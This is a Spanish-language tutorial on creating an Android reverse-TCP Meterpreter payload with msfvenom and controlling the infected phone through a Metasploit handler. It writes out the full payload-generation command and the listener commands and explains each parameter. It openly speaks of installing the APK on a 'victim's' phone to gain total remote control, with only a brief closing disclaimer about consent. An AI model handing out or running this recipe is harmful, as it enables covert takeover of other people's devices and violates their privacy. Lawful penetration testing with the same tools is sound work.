Crear PAYLOAD para Android con Metasploit

En el tutorial de hoy os voy a enseñar como crear un Payload con la aplicación Metasploit integrada en Kali Linux ya que en la distro nos viene más completa que descargándola de Internet.

PAYLOAD
Un payload es un virus o malware que consiste en realizar una acción (normalmente maliciosa) en un dispositivo que esté conectado dentro de nuestra red o fuera de otra. El fin que tiene un payload es tener control total y remoto del dispositivo que se quiera interceptar en cuestión.

METASPLOIT
Metasploit es una herramienta de hacking y pentesting destinada a la explotación y tests de penetración de una manera sencilla. Esta herramienta es conocida por ser como una "navaja suiza" para los hackers y prácticamente todas las distribuciones de Linux lo traen.

¿COMO CREAMOS EL PAYLOAD?

1. Abrimos nuestro sistema operativo de seguridad preferido, luego la aplicación "Metasploit" y escribimos el comando"msfvenom -p android/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx R > name.apk"

El comando se divide en varias partes que son:

• msfvenom -> Es la aplicación donde desarrollamos el payload
• -p -> Estamos indicando que vamos a realizar un payload
• android/meterpreter/reverse_tcp -> Es el tipo de payload que necesitamos
• LHOST -> Es la IP que usará la aplicación para comunicarse con nosotros. Si se va a hacer dentro de la red nuestra el valor es 192.168.1.1 pero si es fuera de nuestra red deberá ser nuestra IP Pública
• LPORT -> Es el puerto donde se conectará nuestra aplicación. Si la red es interna yo uso el puerto 8080 pero si es en una red exterior deberemos abrir el puerto que deseemos
• R > name.apk -> Es la ruta donde almacenaremos el payload y con que nombre. La ruta por defecto (cuando ponemos solo el nombre, es la carpeta personal o la de root).

2. Una vez hayamos introducido el payload en el móvil de nuestra víctima ponemos los siguientes comandos:

• msfconsole ->Iniciamos la aplicación de monitoreo
• use multi/handler
• set PAYLOAD android/meterpreter/reverse_tcp -> Indicamos cual payload queremos detectar
• set LHOST xxxx -> Indicamos la IP asignada al payload.
• set LPORT xxxx -> Indicamos el puerto asignado al payload
• exploit

Una vez llegados a este punto deberemos tener control total sobre el teléfono.

AVISO: Este tutorial debe ser usado con fines didácticos y en un dispositivo propio ya que sino es un delito de privacidad o en todo caso con el consentimiento del dueño del terminal.